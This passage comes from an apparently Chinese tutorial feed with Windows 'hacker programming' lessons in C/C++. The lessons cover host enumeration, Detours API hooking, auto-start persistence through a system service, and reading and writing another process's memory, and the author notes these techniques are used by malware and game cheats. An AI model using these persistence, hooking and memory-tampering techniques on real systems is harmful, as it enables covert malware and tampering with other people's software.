(char *)((DWORD64)NetResource->lpRemoteName + 2)); // 根据主机名获取IP地址信息 host = ::gethostbyname(szHostName); if (host == NULL) { printf("Error Code:%d\n", ::GetLastError()); continue; } // 将(Ipv4)Internet网络地址转换为Internet标准点分十进制格式的ASCII字符串 lpszIP = ::inet_ntoa(*(in_addr *)host->h_addr_list[0]); // 显示 printf("NetResource->lpRemoteName = %s\n", NetResource->lpRemoteName); printf("NetResource->lpLocalName = %s\n", NetResource->lpLocalName); printf("ComputerName = %s\n", szHostName); printf("ComputerIP = %s\n", lpszIP); } } } // 释放内存并关闭句柄 delete[]pBuffer; pBuffer = NULL; ::WNetCloseEnum(hEnum); } return TRUE;}
    程序测试我们在 main 函数中直接调用上述封装好的函数,得到显示内容如下所示。成功获取到本工作组内所有在线的主机及其IP地址。

    总结这个程序的关键就是要理解WIN32 API函数各个参数的定义,这样,才能更好地理解它的使用方式。
    要注意的是,一定要在使用枚举网络资源函数之前调用 WSAStartup 函数来初始化 Socket 库环境,因为函数会调用到 Socket 函数。
    参考参考自《Windows黑客编程技术详解》一书
    1 留言 2018-11-26 09:38:16 奖励10点积分
  • 基于Detours库HOOK API

    背景可能我们开发程序的时候,会用到Inline Hook Api的技术。Inline Hook 的原理是在系统访问一个函数的时候先替换原函数入口处的内容跳转到自己设计的Hook函数中,然后在自己函数中进行Hook工作。但在并行系统中,很可能有个线程就在这个时候调用了被自己改掉的系统函数,出现我们无法预期的结果。
    这时,我们可以考虑使用Detuors库。Detours是微软开发的一个函数库,可用于捕获系统API。Detours库Hook过程原理和我们自己写的基本一样,不同的地方在于微软做了封装和相关的冲突检查,所以这种基于Detoursku的Api Hook更稳定些。
    现在,我对使用Detours库进行HOOK API进行下讲解,并写成文档,分享给大家。
    前期准备本文开发的程序是使用VS2013进行开发的,开发之前,需要到微软的官网上下载Detuors库的源码程序,然后在本地编译得到库文件。至于Detours库的下载地址以及具体的编译步骤,可以参考本站上其他人写的“使用VS2013编译Detours库”这篇文章,里面有详细介绍。
    实现原理我们把使用Detuors库HOOK API的代码实现都写在DLL里面,方便以后的调用。在DLL加载的时候,即DLL入口点函数DllMain的DLL_PROCESS_ATTACH中,执行HOOK部分的代码。在DLL卸载的时候,即DLL入口函数DllMain的DLL_PROCESS_DETACH中,执行UNHOOK部分的代码。
    那么,HOOK的原理是:

    首先,先调用Detours函数DetourRestoreAfterWith,恢复之前状态,避免反复拦截
    然后,调用DetourTransactionBegin,表示开始事务,准备HOOK;并调用DetourUpdateThread刷新当前线程
    接着,开始调用DetourAttach函数设置HOOK,可以连续多次HOOK不同的API函数
    最后,使用DetourTransactionCommit提交事务,上一步设置的HOOK操作,会立即生效

    其中,DetourAttach传的是实际的API函数地址的指针和代替API函数的替代函数地址。
    UNHOOK的原理和HOOK的原理是差不多的,原理是:

    首先,调用DetourTransactionBegin,表示开始事务,准备HOOK;并调用DetourUpdateThread刷新当前线程
    然后,开始调用DetourDetach函数设置UNHOOK,可连续多次UNHOOK不同的API函数
    最后,使用DetourTransactionCommit提交事务,上一步设置的UNHOOK操作,会立即生效

    其中,DetourDetach传的是实际的API函数地址的指针和代替API函数的替代函数地址。
    至于,Detours具体的操作,我们可以不用理会,只需交给Detours API去实现吧。
    编码实现导入Detours库文件#include "Detours\\detours.h"#pragma comment(lib, "Detours\\detours.lib")
    HOOK APIVOID HookApi_Detours(){ // 恢复之前状态,避免反复拦截 DetourRestoreAfterWith(); // 开始事务, 开始HOOK API DetourTransactionBegin(); // 刷新当前的线程 DetourUpdateThread(GetCurrentThread()); // 保存旧函数的地址 Old_MessageBoxA = ::MessageBoxA; // HOOK API.这里可以连续多次调用DetourAttach, 表明HOOK多个函数 DetourAttach((PVOID *)(&Old_MessageBoxA), New_MessageBoxA); // 提交事务, HOOK API立即生效 DetourTransactionCommit();}
    UNHOOK APIVOID UnhookApi_Detours(){ // 开始事务, 开始UNHOOK API DetourTransactionBegin(); // 刷新当前的线程 DetourUpdateThread(GetCurrentThread()); // UNHOOK API.这可多次调用DetourDetach,表明撤销多个函数HOOK DetourDetach((PVOID *)(&Old_MessageBoxA), New_MessageBoxA); // 提交事务, UNHOOK API立即生效 DetourTransactionCommit();}
    程序测试我们将上述封装好的Detours Hook Api函数写在一个DLL工程中,然后还另外写了一个控制台工程。让控制台工程加载DLL文件,DLL便会在入口点HOOK进程的API函数。当进程调用HOOK掉的API函数是,会直接执行到我们的NEW_API函数。
    控制台工程的 main 函数为:
    int _tmain(int argc, _TCHAR* argv[]){ // HOOK API前弹窗 MyMessage(); // 加载DLL, 执行HOOK API HMODULE hDll = ::LoadLibrary("HookApi_Detours_Dll.dll"); if (NULL == hDll) { printf("LoadLibrary Error!\n"); } // HOOK API后弹窗 MyMessage(); // 卸载DLL ::FreeLibrary(hDll); // UNHOOK API后弹窗 MyMessage(); system("pause"); return 0;}
    测试结果:
    运行控制台.exe程序,首先弹出第一个HOOK MessageBoxA前的消息对话框:

    然后,点击“确定”关闭对话框后,便会执行加载DLL,程序没有加载DLL出错提示,所以加载成功。而且,弹出第二个HOOK MessageBoxA之后的消息对话框,内容已经更改,所以,HOOK API成功:

    然后,点击“确定”关闭对话框后,便会执行卸载DLL,那么DLL卸载处就会调用UNHOOK API,还原API,所以看到弹出的第三个消息对话框,内容是正常的:

    总结基于Detours库实现HOOK API确实很方便,即使你不理解其中的原理,照样可以根据Detours提供的API接口,实现较为完美的API HOOK。
    参考参考自《Windows黑客编程技术详解》一书
    1 留言 2018-11-25 09:23:46 奖励15点积分
  • 创建系统服务实现开机自启动 精华

    背景想必实现程序开机自启动,是很常见的功能了。无论是恶意程序,还是正常的应用软件,都会提供这个功能,方便用户的使用。程序开机自启动,顾名思义,就是计算机开机后,不用人为地去运行程序,程序就可以自己运行起来。对于这个功能的,一直都是杀软重点监测的地方。因为,对于病毒来说,重要的不是如何被破坏,而是如何启动。
    在过去写的大大小小的程序中,我也实现过程序自启动的功能。现在,我把这些自启动功能的实现方式进行下总结。常见的方式有:修改开机自启动注册表、开机自启动目录、创建开机自启计划任务、创建开机自启系统服务等方式。现在对这些技术一一进行分析,并形成文档分享给大家。本文介绍创建系统服务实现开机自启动的方式,其它的实现方式可以搜索我写的相关系列的文档。
    函数介绍OpenSCManager 函数
    建立了一个到服务控制管理器的连接,并打开指定的数据库。
    函数声明
    SC_HANDLE OpenSCManager( LPCTSTR lpMachineName, // computer name LPCTSTR lpDatabaseName, // SCM database name DWORD dwDesiredAccess // access type);
    参数

    lpMachineName指向零终止字符串,指定目标计算机的名称。如果该指针为NULL ,或者它指向一个空字符串,那么该函数连接到本地计算机上的服务控制管理器。
    lpDatabaseName指向零终止字符串,指定将要打开的服务控制管理数据库的名称。此字符串应被置为 SERVICES_ACTIVE_DATABASE。如果该指针为NULL ,则打开默认的 SERVICES_ACTIVE_DATABASE数据库。
    dwDesiredAccess指定服务访问控制管理器的权限。在授予要求的权限前,系统会检查调用进程的权限令牌,该令牌针对与服务控制管理器相关的安全描述符的权限控制列表。此外,该函数的调用将隐式地指定SC_MANAGER_CONNECT 的访问权限。此外,下列服务控制管理器对象的访问类型可以被指定:




    VALUE
    MEANING




    SC_MANAGER_ALL_ACCESS
    除了所有此表中列出的访问类型,还包括STANDARD_RIGHTS_REQUIRED


    SC_MANAGER_CONNECT
    可以连接到服务控制管理器


    SC_MANAGER_CREATE_SERVICE
    使要求的CreateService函数创建一个服务对象,并将其添加到数


    SC_MANAGER_ENUMERATE_SERVICE
    使要求的EnumServicesStatus功能清单的服务,这是在数据库


    SC_MANAGER_LOCK
    使要求的LockServiceDatabase功能获得锁定数据库


    SC_MANAGER_QUERY_LOCK_STATUS
    使要求的QueryServiceLockStatus检索功能锁定状态信息的数据



    返回值

    如果函数成功,返回值是一个指定的服务控制管理器数据库的句柄。如果函数失败,返回值为NULL 。要获得更详细的错误信息,可以使用GetLastError 获得错误代码。

    CreateService 函数
    创建一个服务对象,并将其添加到指定的服务控制管理器数据库的函数。
    函数声明
    SC_HANDLE CreateService( SC_HANDLE hSCManager, //服务控制管理程序的数据库句柄 LPCTSTR lpServiceName, //以NULL 结尾的服务名 LPCTSTR lpDisplayName, //以NULL 结尾的服务名 DWORD dwDesiredAccess, //指定服务返回类型 DWORD dwServiceType, //指定服务类型 DWORD dwStartType, //指定何时启动服务 DWORD dwErrorControl, //指定服务启动失败的严重程度 LPCTSTR lpBinaryPathName,//指定服务程序二进制文件的路径 LPCTSTR lpLoadOrderGroup,//指定顺序装入的服务组名 LPDWORD lpdwTagId, //忽略,NULL LPCTSTR lpDependencies, //指定启动该服务前必先启动的服务 LPCTSTR lpServiceStartName,//指定服务帐号 LPCTSTR lpPassword //指定对应的口令);
    参数

    hSCManager服务控制管理器数据库的句柄。 此句柄由OpenSCManager函数返回,并且必须 具有 SC_MANAGER_CREATE_SERVICE 的访问权限。 有关更多的信息请参阅Service安全和访问权限。
    lpServiceName要安装该服务的名称。 最大字符串长度为 256 个字符。 服务控制管理器数据库将保留在的字符的大小写,但是服务名称比较总是区分大小写。 正斜杠和一个反斜线不是有效的服务名称字符。
    lpDisplayName对被用户界面程序用来识别服务的显示名称。 此字符串具有最大长度为 256 个字符。 服务控制管理器中的情况下保留名称。 显示名称比较总是不区分大小写。
    dwDesiredAccess对服务的访问。 请求的访问之前,系统将检查调用进程的访问令牌。 一个值列表请参阅服务安全和访问权限。
    dwServiceType服务类型。 此参数可以是下列值之一:




    VALUE
    MEANING




    SERVICE_ADAPTER
    保留


    SERVICE_FILE_SYSTEM_DRIVER
    文件系统驱动服务程序


    SERVICE_KERNEL_DRIVER
    驱动服务程序


    SERVICE_RECOGNIZER_DRIVER
    保留


    SERVICE_WIN32_OWN_PROCESS
    运行于独立进程的服务程序


    SERVICE_WIN32_SHARE_PROCESS
    被多个进程共享的服务程序




    若使用了SERVICE_WIN32_OWN_PROCESS 或 SERVICE_WIN32_SHARE_PROCESS且使用LocalSystem帐号来运行该服务程序,则还可以附加使用下面的值:



    VALUE
    MEANING




    SERVICE_INTERACTIVE_PROCESS
    该服务可以与桌面程序进行交互操作




    dwStartType服务启动选项。此参数可以是下列值之一:



    VALUE
    MEANING




    SERVICE_AUTO_START
    系统启动时由服务控制管理器自动启动该服务程序


    SERVICE_BOOT_START
    用于由系统加载器创建的设备驱动程序, 只能用于驱动服务程序


    SERVICE_DEMAND_START
    由服务控制管理器(SCM)启动的服务


    SERVICE_DISABLED
    表示该服务不可启动


    SERVICE_SYSTEM_START
    用于由IoInitSystem函数创建的设备驱动程序




    dwErrorControl当该启动服务失败时产生错误的严重程度以及采取的保护措施。
    lpBinaryPathName服务程序二进制文件,完全限定路径。 如果路径中包含空格它必须被引用,以便它正确的解析。
    lpLoadOrderGroup在加载顺序此服务所属的组的名称。
    lpdwTagId指向接收 lpLoadOrderGroup 参数中指定的组中唯一的标记值的变量。
    lpDependencies空分隔名称的服务或加载顺序组系统必须在这个服务开始之前的双空终止数组的指针。 如果服务没有任何依赖关系,请指定为 NULL 或空字符串。
    lpServiceStartName该服务应在其下运行的帐户的名称。
    lpPassword由lpServiceStartName参数指定的帐户名的密码。

    返回值

    如果函数成功,返回值将是该服务的句柄。如果函数失败,则返回值为 NULL。 若要扩展的错误了解调用GetLastError。

    OpenService 函数
    打开一个已经存在的服务。
    函数声明
    SC_HANDLE WINAPI OpenService( _In_ SC_HANDLE hSCManager, _In_ LPCTSTR lpServiceName, _In_ DWORD dwDesiredAccess);
    参数

    hSCManager
    SCM数据库句柄。
    lpServiceName
    要打开服务的名字,这和CreateService形参lpServiceName一样,不是服务显示名称。
    dwDesiredAccess
    服务权限。

    返回值

    成功,返回服务句柄;失败返回NULL,可以通过GetLastError获取错误码。

    StartService 函数
    启动服务。
    函数声明
    BOOL WINAPI StartService( _In_ SC_HANDLE hService, _In_ DWORD dwNumServiceArgs, _In_opt_ LPCTSTR *lpServiceArgVectors);
    参数

    hService
    OpenService 或CreateService function返回的服务句柄,需要有SERVICE_START权限。
    dwNumServiceArgs
    下一个形参lpServiceArgVectors的字符串个数,如果lpServiceArgVectors为空,那么该参数设为0。
    lpServiceArgVectors
    传递给服务ServiceMain的参数,如果没有,可以设为NULL;否则,第一个形参lpServiceArgVectors[0]为服务的名字,其他则为需要传入的参数。

    注意

    驱动不接受这些参数,即lpServiceArgVectors为空,dwNumServiceArgs为0。
    返回值

    成功,返回非0;失败,返回0,错误码使用GetLastError获得。

    ControlService函数
    给指定的服务发送一个控制码。
    函数声明
    BOOL WINAPI ControlService( _In_ SC_HANDLE hService, _In_ DWORD dwControl, _Out_ LPSERVICE_STATUS lpServiceStatus);
    参数

    hService
    OpenService 或CreateService function返回的服务句柄;
    dwControl
    要发送的控制码,控制码可以是下列系统定义的控制码;也可以是用户自定义的控制码,范围是128-255,需要有SERVICE_USER_DEFINED_CONTROL权限。
    lpServiceStatus
    返回一个指向存储服务最新状态的结构体ServiceStatus,返回的服务信息来自SCM中最近的服务状态报告。

    返回值

    成功,返回非0;失败,返回0,错误码使用GetLastError获得。

    DeleteService 函数
    从服务控制管理器数据库中删除指定的服务。
    函数声明
    BOOL WINAPI DeleteService( _In_ SC_HANDLE hService);
    参数

    hService
    [输入]服务的句柄,可以由OpenService 或者 CreateService 函数返回,而且该服务必须要有删除权限。

    返回值

    成功,返回非0;失败,返回0,错误码使用GetLastError获得。

    StartServiceCtrlDispatcher 函数
    将服务进程的主线程连接到服务控制管理器,该线程将线程作为调用过程的服务控制分派器线程。
    函数声明
    BOOL WINAPI StartServiceCtrlDispatcher( _In_ const SERVICE_TABLE_ENTRY *lpServiceTable);
    参数

    lpServiceTable
    [输入]指向一系列SERVICE_TABLE_ENTRY结构的指针,其中包含可在调用进程中执行的每个服务的一个条目。 表中最后一个条目的成员必须具有NULL值来指定表的结尾。

    返回值

    成功,返回非0;失败,返回0,错误码使用GetLastError获得。

    RegisterServiceCtrlHandler 函数实现原理创建自启动服务的原理是:

    打开服务控制管理器数据库并获取数据库的句柄

    若要创建服务的操作,则开始创建服务,设置SERVICE_AUTO_START开机自启动;若是其他操作,则打开服务,获取服务句柄
    然后,根据服务句柄,若操作是启动,则使用StartService启动服务;若服务是停止,则使用ControlService停止服务;若操作是删除,则使用DeleteService删除服务
    关闭服务句柄和服务控制管理器数据库句柄

    其中,设置自启动服务启动的程序,并不是普通的程序,而是要求程序要创建了服务入口点函数,否则,不能创建系统服务。创建服务程序的原理是是:
    服务程序主函数(main)调用系统函数StartServiceCtrlDispatcher连接程序主线程到服务控制管理程序(其中定义了服务入口点函数是ServiceMain)。服务控制管理程序启动服务程序后,等待服务程序主函数调用StartServiceCtrlDispatcher。如果没有调用该函数,设置服务入口点,则会报错。
    执行服务初始化任务(同时执行多个服务的服务有多个入口点函数),首先调用RegisterServiceCtrlHandler定义控制处理程序函数(本例中是ServiceCtrlHandle),初始化后通过SetServiceStatus设定进行运行状态,然后运行服务代码。
    控制处理程序(Handler)在服务收到控制请求时由控制分发线程引用(最少要有停止服务的能力)。
    编码实现创建系统服务// 0 加载服务 1 启动服务 2 停止服务 3 删除服务BOOL SystemServiceOperate(char *lpszDriverPath, int iOperateType){ BOOL bRet = TRUE; char szName[MAX_PATH] = { 0 }; ::lstrcpy(szName, lpszDriverPath); // 过滤掉文件目录,获取文件名 ::PathStripPath(szName); SC_HANDLE shOSCM = NULL, shCS = NULL; SERVICE_STATUS ss; DWORD dwErrorCode = 0; BOOL bSuccess = FALSE; // 打开服务控制管理器数据库 shOSCM = ::OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); if (!shOSCM) { ShowError("OpenSCManager"); return FALSE; } if (0 != iOperateType) { // 打开一个已经存在的服务 shCS = OpenService(shOSCM, szName, SERVICE_ALL_ACCESS); if (!shCS) { ShowError("OpenService"); ::CloseServiceHandle(shOSCM); shOSCM = NULL; return FALSE; } } switch (iOperateType) { case 0: { // 创建服务 // SERVICE_AUTO_START 随系统自动启动 // SERVICE_DEMAND_START 手动启动 shCS = ::CreateService(shOSCM, szName, szName, SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS | SERVICE_INTERACTIVE_PROCESS, SERVICE_AUTO_START, SERVICE_ERROR_NORMAL, lpszDriverPath, NULL, NULL, NULL, NULL, NULL); if (!shCS) { ShowError("CreateService"); bRet = FALSE; } break; } case 1: { // 启动服务 if (!::StartService(shCS, 0, NULL)) { ShowError("StartService"); bRet = FALSE; } break; } case 2: { // 停止服务 if (!::ControlService(shCS, SERVICE_CONTROL_STOP, &ss)) { ShowError("ControlService"); bRet = FALSE; } break; } case 3: { // 删除服务 if (!::DeleteService(shCS)) { ShowError("DeleteService"); bRet = FALSE; } break; } default: break; } // 关闭句柄 if (shCS) { ::CloseServiceHandle(shCS); shCS = NULL; } if (shOSCM) { ::CloseServiceHandle(shOSCM); shOSCM = NULL; } return bRet;}
    创建服务程序int _tmain(int argc, _TCHAR* argv[]){ // 注册服务入口函数 SERVICE_TABLE_ENTRY stDispatchTable[] = { { g_szServiceName, (LPSERVICE_MAIN_FUNCTION)ServiceMain }, { NULL, NULL } }; ::StartServiceCtrlDispatcher(stDispatchTable); return 0;}
    void __stdcall ServiceMain(DWORD dwArgc, char *lpszArgv){ g_ServiceStatus.dwServiceType = SERVICE_WIN32; g_ServiceStatus.dwCurrentState = SERVICE_START_PENDING; g_ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP; g_ServiceStatus.dwWin32ExitCode = 0; g_ServiceStatus.dwServiceSpecificExitCode = 0; g_ServiceStatus.dwCheckPoint = 0; g_ServiceStatus.dwWaitHint = 0; g_ServiceStatusHandle = ::RegisterServiceCtrlHandler(g_szServiceName, ServiceCtrlHandle); g_ServiceStatus.dwCurrentState = SERVICE_RUNNING; g_ServiceStatus.dwCheckPoint = 0; g_ServiceStatus.dwWaitHint = 0; ::SetServiceStatus(g_ServiceStatusHandle, &g_ServiceStatus); // 自己程序实现部分代码放在这里 // !!注意!! 此处一定要为死循环, 否则在关机再开机的情况(不是点击重启), 不能创建用户进程 while (TRUE) { Sleep(5000); DoTask(); }}
    void __stdcall ServiceCtrlHandle(DWORD dwOperateCode){ switch (dwOperateCode) { case SERVICE_CONTROL_PAUSE: { // 暂停 g_ServiceStatus.dwCurrentState = SERVICE_PAUSED; break; } case SERVICE_CONTROL_CONTINUE: { // 继续 g_ServiceStatus.dwCurrentState = SERVICE_RUNNING; break; } case SERVICE_CONTROL_STOP: { // 停止 g_ServiceStatus.dwWin32ExitCode = 0; g_ServiceStatus.dwCurrentState = SERVICE_STOPPED; g_ServiceStatus.dwCheckPoint = 0; g_ServiceStatus.dwWaitHint = 0; ::SetServiceStatus(g_ServiceStatusHandle, &g_ServiceStatus); break; } case SERVICE_CONTROL_INTERROGATE: { // 询问 break; } default: break; }}
    程序测试在 main 函数中调用上述封装好的函数接口,进行测试。main 函数为:
    int _tmain(int argc, _TCHAR* argv[]){ BOOL bRet = FALSE; char szFileName[MAX_PATH] = "C:\\Users\\DemonGan\\Desktop\\AutoRun_Service_Test\\Debug\\ServiceTest.exe"; // 创建并启动服务 bRet = SystemServiceOperate(szFileName, 0); if (FALSE == bRet) { printf("Create Error!\n"); } bRet = SystemServiceOperate(szFileName, 1); if (FALSE == bRet) { printf("Start Error!\n"); } printf("Create and Start OK.\n"); system("pause"); // 停止并删除服务 bRet = SystemServiceOperate(szFileName, 2); if (FALSE == bRet) { printf("Stop Error!\n"); } bRet = SystemServiceOperate(szFileName, 3); if (FALSE == bRet) { printf("Delete Error!\n"); } printf("Stop and Delete OK.\n"); system("pause"); return 0;}
    测试结果:
    “以管理员身份运行程序”打开程序,提示系统服务创建并启动成功。

    查看任务管理器,发现“ServiceTest.exe”进程已经启动。

    接着,打开服务管理器,查看服务,“ServiceTest.exe”服务成功创建。

    查看服务属性,路径和启动类型正确。

    执行服务停止删除,程序提示执行成功。检查任务管理器和服务管理器,均为发现“ServiceTest.exe”服务,所以,删除成功。

    总结注意,创建系统服务,要求要有管理员权限。其中,创建系统服务启动的程序,它需要额外创建服务入口点函数ServiceMain,这样才能创建服务成功,否则会报错。
    系统服务是运行在Session 0,系统服务的Session 0隔离,阻断了系统服务和用户桌面进程之间进行交互和通信的桥梁。各个Session之间是相互独立的。在不同Session中运行的实体,相互之间不能发送Windows消息、共享UI元素或者是在没有指定他们有权限访问全局名字空间(并且提供正确的访问控制设置)的情况下,共享核心对象。这样也就是为什么,在系统服务不能显示程序界面,也不能用常规的方式创建有界面的进程。要想创建带界面的进程,要使用另外的方式,我已经写成相应的文档分享给大家了,大家可以搜索我写的相关文档来参考。
    参考参考自《Windows黑客编程技术详解》一书
    1 留言 2018-11-24 17:08:53 奖励10点积分
  • 根据进程PID读写指定进程的内存数据

    背景如果对外挂有了解的同学,应该知道,修改进程内存应该是外挂入门学习的必修技术点。当然,不单单是外挂程序会修改进程内存数据,还有很多安全类软件也都会有修改进程内存数据的功能,方便分析人员进行分析。
    而且,Windows也提供了相应的进程内存读写的API函数 ReadProcessMemory 和 WriteProcessMemory,我们实现的程序,正是基于这两个函数实现的。
    现在,本文就对这个功能的实现过程进行整理,形成文档,分享给大家。
    函数介绍OpenProcess 函数
    打开现有的本地进程对象。
    函数声明
    HANDLE WINAPI OpenProcess( _In_ DWORD dwDesiredAccess, _In_ BOOL bInheritHandle, _In_ DWORD dwProcessId);
    参数

    dwDesiredAccess [in]访问进程对象。此访问权限针对进程的安全描述符进行检查。此参数可以是一个或多个进程访问权限。如果调用该函数的进程启用了SeDebugPrivilege权限,则无论安全描述符的内容如何,都会授予所请求的访问权限。bInheritHandle [in]若此值为TRUE,则此进程创建的进程将继承该句柄。否则,进程不会继承此句柄。dwProcessId [in]要打开的本地进程的标识符。如果指定的进程是系统进程(0x00000000),则该函数失败,最后一个错误代码为ERROR_INVALID_PARAMETER。如果指定的进程是空闲进程或CSRSS进程之一,则此功能将失败,并且最后一个错误代码为ERROR_ACCESS_DENIED,因为它们的访问限制会阻止用户级代码打开它们。如果您使用GetCurrentProcessId作为此函数的参数,请考虑使用GetCurrentProcess而不是OpenProcess,以提高性能。
    返回值

    如果函数成功,则返回值是指定进程的打开句柄。如果函数失败,返回值为NULL。 要获取扩展错误信息,请调用GetLastError。

    VirtualProtectEx 函数
    更改指定进程的虚拟地址空间中已提交页面的区域上的保护。
    函数声明
    BOOL WINAPI VirtualProtectEx( _In_ HANDLE hProcess, _In_ LPVOID lpAddress, _In_ SIZE_T dwSize, _In_ DWORD flNewProtect, _Out_ PDWORD lpflOldProtect);
    参数

    hProcess [in]要更改内存保护的进程的句柄。句柄必须具有PROCESS_VM_OPERATION权限。有关更多信息,请参阅流程安全和访问权限。lpAddress [in]指向要更改其访问保护属性的页面区域的基址的指针。指定区域中的所有页面必须在使用MEM_RESERVE调用VirtualAlloc或VirtualAllocEx函数时分配的相同保留区域内。这些页面不能跨越通过使用MEM_RESERVE单独调用VirtualAlloc或VirtualAllocEx分配的相邻保留区域。dwSize [in]其访问保护属性更改的区域的大小(以字节为单位)。受影响页面的区域包括从lpAddress参数到(lpAddress + dwSize)范围内包含一个或多个字节的所有页面。这意味着跨越页面边界的2字节范围会导致两个页面的保护属性被更改。flNewProtect [in]内存保护选项。该参数可以是存储器保护常数之一。对于映射视图,此值必须与视图映射时指定的访问保护兼容(请参阅MapViewOfFile,MapViewOfFileEx和MapViewOfFileExNuma)。lpflOldProtect [out]指向变量的指针,该变量接收指定的页面区域中的第一页的先前访问保护。如果此参数为NULL或不指向有效变量,则该函数将失败。
    返回值

    如果函数成功,则返回值不为零。如果函数失败,返回值为零。 要获取扩展错误信息,请调用GetLastError。

    ReadProcessMemory 函数
    在指定的进程中从内存区域读取数据。 要读取的整个区域必须可访问或操作失败。
    函数声明
    BOOL WINAPI ReadProcessMemory( _In_ HANDLE hProcess, _In_ LPCVOID lpBaseAddress, _Out_ LPVOID lpBuffer, _In_ SIZE_T nSize, _Out_ SIZE_T *lpNumberOfBytesRead);
    参数

    hProcess [in]具有正在读取的内存的进程的句柄。 句柄必须具有进程的PROCESS_VM_READ访问权限。lpBaseAddress [in]指向从中读取的指定进程中的基地址的指针。 在发生任何数据传输之前,系统将验证指定大小的基地址和内存中的所有数据都可访问以进行读取访问,如果不可访问,则该函数将失败。lpBuffer [out]指向从指定进程的地址空间接收内容的缓冲区的指针。nSize [in]要从指定进程读取的字节数。lpNumberOfBytesRead [out]指向一个变量的指针,该变量接收传输到指定缓冲区的字节数。 如果lpNumberOfBytesRead为NULL,则该参数将被忽略。
    返回值

    如果函数成功,则返回值不为零。如果函数失败,返回值为0(零)。 要获取扩展错误信息,请调用GetLastError。

    WriteProcessMemory 函数
    在指定的进程中将数据写入内存区域。 要写入的整个区域必须可访问或操作失败。
    函数声明
    BOOL WINAPI WriteProcessMemory( _In_ HANDLE hProcess, _In_ LPVOID lpBaseAddress, _In_ LPCVOID lpBuffer, _In_ SIZE_T nSize, _Out_ SIZE_T *lpNumberOfBytesWritten);
    参数

    hProcess [in]要修改的进程内存的句柄。 句柄必须具有PROCESS_VM_WRITE和PROCESS_VM_OPERATION访问进程。lpBaseAddress [in]指向写入数据的指定进程中的基地址的指针。 在数据传输发生之前,系统会验证指定大小的基地址和内存中的所有数据是否可以进行写入访问,如果不可访问,则该函数将失败。lpBuffer [in]指向缓冲区的指针,其中包含要写入指定进程的地址空间的数据。nSize [in]要写入指定进程的字节数。lpNumberOfBytesWritten [out]指向变量的指针,该变量接收传输到指定进程的字节数。 此参数是可选的。 如果lpNumberOfBytesWritten为NULL,则忽略该参数。
    返回值

    如果函数成功,则返回值不为零。如果函数失败,返回值为0(零)。 要获取扩展错误信息,请调用GetLastError。

    实现过程对进程内存数据的读取过程和写入过程基本上是一样的。
    对于进程数据读取的过程:

    首先,我们先要使用 OpenProcess 函数打开进程,并获取具有 PROCESS_ALL_ACCESS 权限的进程句柄
    然后,我们调用 VirtualProtectEx 更改将要读取内存的页面属性,将其页面属性更改为 PAGE_READWRITE 可读可写属性。因为并不是所有的页面属性都具有可读属性,所以要进行设置,以防万一
    接着,我们便可以调用 ReadProcessMemory 函数来读取指定内存的数据到缓冲区里
    然后,读取完毕之后,我们还要对内存页面属性进行还原,以防程序因为页面属性更改而出现不可预料的错误
    最后,我们关闭进程句柄

    这样,进程内存数据读取就完成了。对于进程内存的写过程,就基本上和读取相似,也是 5 个步骤:

    首先,我们先要使用 OpenProcess 函数打开进程,并获取具有 PROCESS_ALL_ACCESS 权限的进程句柄
    然后,我们调用 VirtualProtectEx 更改将要写入内存的页面属性,将其页面属性更改为 PAGE_READWRITE 可读可写属性。因为并不是所有的页面属性都具有可写属性,所以要进行设置,以防万一
    接着,我们便可以调用 WriteProcessMemory 函数来将指定缓冲区里的数据写入到内存里
    然后,写入完毕之后,我们还要对内存页面属性进行还原,以防程序因为页面属性更改而出现不可预料的错误
    最后,我们关闭进程句柄

    这样,读写操作就完成了。
    编码实现读取进程内存// 读内存BOOL ReadProcessMem(DWORD dwProcessId, PVOID pAddress, PVOID pReadBuf, DWORD dwReadBufferSize){ BOOL bRet = FALSE; DWORD dwRet = 0; // 根据PID, 打开进程获取进程句柄 HANDLE hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId); if (NULL == hProcess) { ShowError("OpenProcess"); return FALSE; } // 更改页面保护属性 DWORD dwOldProtect = 0; bRet = ::VirtualProtectEx(hProcess, pAddress, dwReadBufferSize, PAGE_READWRITE, &dwOldProtect); if (FALSE == bRet) { ShowError("VirtualProtectEx"); return FALSE; } // 读取内存数据 bRet = ::ReadProcessMemory(hProcess, pAddress, pReadBuf, dwReadBufferSize, &dwRet); if (FALSE == bRet) { ShowError("ReadProcessMemory"); return FALSE; } // 还原页面保护属性 bRet = ::VirtualProtectEx(hProcess, pAddress, dwReadBufferSize, dwOldProtect, &dwOldProtect); if (FALSE == bRet) { ShowError("VirtualProtectEx"); return FALSE; } // 关闭进程句柄 ::CloseHandle(hProcess); return TRUE;}
    写入进程内存// 写内存BOOL WriteProcessMem(DWORD dwProcessId, PVOID pAddress, PVOID pWriteBuf, DWORD dwWriteBufferSize){ BOOL bRet = FALSE; DWORD dwRet = 0; // 根据PID, 打开进程获取进程句柄 HANDLE hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId); if (NULL == hProcess) { ShowError("OpenProcess"); return FALSE; } // 更改页面保护属性 DWORD dwOldProtect = 0; bRet = ::VirtualProtectEx(hProcess, pAddress, dwWriteBufferSize, PAGE_READWRITE, &dwOldProtect); if (FALSE == bRet) { ShowError("VirtualProtectEx"); return FALSE; } // 写入内存数据 bRet = ::WriteProcessMemory(hProcess, pAddress, pWriteBuf, dwWriteBufferSize, &dwRet); if (FALSE == bRet) { ShowError("ReadProcessMemory"); return FALSE; } // 还原页面保护属性 bRet = ::VirtualProtectEx(hProcess, pAddress, dwWriteBufferSize, dwOldProtect, &dwOldProtect); if (FALSE == bRet) { ShowError("VirtualProtectEx"); return FALSE; } // 关闭进程句柄 ::CloseHandle(hProcess); return TRUE;}
    程序测试首先,我们运行程序,读取 520.exe 进程中 0x400000 地址处的 4 字节数据,成功读取。然后,我们对 520.exe 进程中 0x400000 地址处的 4 字节数据进行更改,更改成功后,在对数据读取一遍,发现数据成功更改。

    总结在读写进程内存数据之前,我们最好使用 VirtualProtect 函数来修改内存对应的页属性保护,给它设置相应的读写权限,这样可以避免一些因为页属性保护而操作失败的情况。而且,操作完成后,还要记得还原页属性保护。
    其中要注意一点的是,低权限进程不能读写高权限进程的内存数据。是因为在调用 OpenProcess 函数打开进程获取句柄的时候,低权限进程就会因为权限不足而执行失败,自然后续操作不能正常执行。所以,可以“以管理员身份运行程序”来读取管理员权限获取比管理员权限低的进程内存数据。
